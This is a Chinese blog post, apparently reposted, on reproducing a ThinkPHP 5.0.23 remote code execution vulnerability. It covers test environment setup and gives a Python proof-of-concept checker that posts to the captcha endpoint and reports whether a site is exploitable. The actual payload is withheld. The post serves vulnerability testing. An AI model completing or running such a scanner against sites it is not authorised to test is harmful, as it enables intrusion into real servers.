ThinkPHP-5.0.23新的RCE漏洞测试和POC

Posted 挖洞的土拨鼠

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkPHP-5.0.23新的RCE漏洞测试和POC相关的知识,希望对你有一定的参考价值。

TP5新RCE漏洞



昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波。新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的。TP5也成了万人轮啊。

测试



环境搭建


  • windows下phpstudy,然后下载tp5.0.23到相应的www目录下
  • linux,安装启动apache和php,下载tp5.0.23到相应www目录下
  • mac(本机) 启动apache, 下载tp5.0.23到/library/Webserver/Documents下

环境测试


漏洞验证

Payload在此不公开,圈内的人大家都在微信群里看到很多了


备注一个测试遇到的问题:在windows下phpstudy使用assert函数成功,但是在本机mac下不行,怀疑与php版本有关,win下是php5的,mac下是php7的。

漏洞poc


# -*- coding:utf-8 -*-
"""
ThinkPHP-5.0.23 RCE POC
Author: b0b@c
"""


# import libs,modules,files
import sys
import requests


# global vars & settings
headers = {
    "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0",
}


# payload
...


#  main function
if __name__ == "__main__":
    url = "%s/public/index.php?s=captcha"
    url = url%str(sys.argv[1])
    response1 = requests.post(url,headers=headers,data=data1)
    response2 = requests.post(url,headers=headers,data=data2)
    response3 = requests.post(url,headers=headers,data=data3)
    if (response1.content.find("Configuration File (php.ini) Path") >= 0) or (response2.content.find("index.php") >= 0) or (response3.content.find("index.php") >= 0):
        print "YES,It\'s Dangerous!@!"
    else:
        print "No,It\'s Safety!@!"

以上是关于ThinkPHP-5.0.23新的RCE漏洞测试和POC的主要内容,如果未能解决你的问题,请参考以下文章

ThinkPHP 5.0.23 远程代码执行漏洞(CVE-2018-20062)漏洞复现

Xmind XSS导致RCE漏洞复现

Struts2 S2-052 RCE简单测试

Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)

用友OA/NC/NCCloud安全漏洞检测以及RCE复现渗透测试

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)RCE (远程代码/命令执行漏洞)相关面试题